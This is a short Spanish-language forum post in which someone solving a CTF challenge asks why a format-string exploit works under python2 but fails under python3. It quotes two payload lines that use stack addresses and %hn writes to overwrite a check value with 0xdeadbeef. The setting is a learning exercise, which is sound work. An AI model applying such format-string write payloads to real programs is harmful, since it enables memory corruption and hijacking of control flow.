Gracias MCKsys ya vi el link pero no habrá alguna forma de utilizar python3 como en python2?, por ejemplo, estaba haciendo un ctf donde tenía que cambiar mediante format string un if con la palabra 0xdeadbeef, con python2 lo puedo lograr, pero cuando lo hago con python3 ya no funciona, coloco como lo hago
De esta manera puedo pasar la prueba
r <<< $(python2 -c 'print("\x3c\xd2\xff\xff\x3e\xd2\xff\xff" + "%48871x%7$hn%8126x%8$hn")')
pero en python3 ya no, intente colocando como bytes (b) y tampoco...
r <<< $(python -c 'print(b"\x3c\xd2\xff\xff\x3e\xd2\xff\xff" + b"%48871x%7$hn%8126x%8$hn")')
Lo pregunto por lo tedioso que es hacer pruebas y pruebas y al final darte cuenta que llevas horas pensando para que solo fuece por la version de python que no funcionaba y he visto que varias cosas que se están actualizando a python3 y me gustaría utilizarlo más por si un día dicen que python2 ya casi es obsoleto